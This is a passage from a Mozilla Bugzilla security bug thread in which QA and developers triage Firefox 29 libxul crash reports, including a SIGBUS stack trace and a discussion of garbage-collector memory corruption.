All I can still reproduce on Firefox 29 are more libxul crashes: https://crash-stats.mozilla.com/report/index/74182e75-fa4c-4e28-bcd3-768052140327 https://crash-stats.mozilla.com/report/index/05bd0e17-8f3f-4e8f-b83a-50f8f2140327 https://crash-stats.mozilla.com/report/index/9b2eb1ef-f84f-4ec3-af38-be8132140327 Ted, can you please take a look and let me know if these are intended too?
Status: RESOLVED → VERIFIED
status-firefox29: fixed → verified
Flags: needinfo?(ted)
Keywords: verifyme
Sorry, was travelling or something when this came around and I didn't get back to it. (In reply to Ioana Budnar, QA [:ioana] from comment #88) > All I can still reproduce on Firefox 29 are more libxul crashes: > https://crash-stats.mozilla.com/report/index/74182e75-fa4c-4e28-bcd3- > 768052140327 [@ CrashAtUnhandlableOOM ] > https://crash-stats.mozilla.com/report/index/05bd0e17-8f3f-4e8f-b83a- > 50f8f2140327 This one is different: Crash reason: SIGBUS Crash address: 0xbff00fec Thread 0 (crashed) 0 libxul.so!js::jit::GetPropertyIC::tryAttachNative(JSContext*, js::jit::IonScript*, JS::Handle<JSObject*>, JS::Handle<js::PropertyName*>, void*, bool*) [IonCaches.cpp:fceb90d30601 : 1202 + 0x0] eip = 0xb516de03 esp = 0xbff00ff0 ebp = 0x9f93d820 ebx = 0xb6cf5e28 esi = 0x8f86b490 edi = 0xbff01684 eax = 0x8f86b400 ecx = 0xbff01030 edx = 0x9f93d820 efl = 0x00210286 Found by: given as instruction pointer in context > https://crash-stats.mozilla.com/report/index/9b2eb1ef-f84f-4ec3-af38- > be8132140327 This is [@ CrashAtUnhandlableOOM ].
Flags: needinfo?(ted)
Group: core-security
(In reply to Daniel Veditz [:dveditz] from comment #37) > One of the crashes I get is bp-3ac2b710-65a6-4675-bbb2-decce2140313 in > ScanRope, which led me to bug 668583 with a patch marked checkin+ but still > open. Related? Helpful? Just random what parts of GC get corrupted? I haven't thought about it too deeply, but the random corruption is very likely -- if you happen to stomp on any string, there's a decent chance that the next access would misinterpret it as a rope. (And it might not have started out as a string at all, but that sort of corruption seems less likely.) And from there, its left and right pointers would be very likely to contain garbage, which would show up as the ScanRope crash.
Flags: needinfo?(sphink)
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: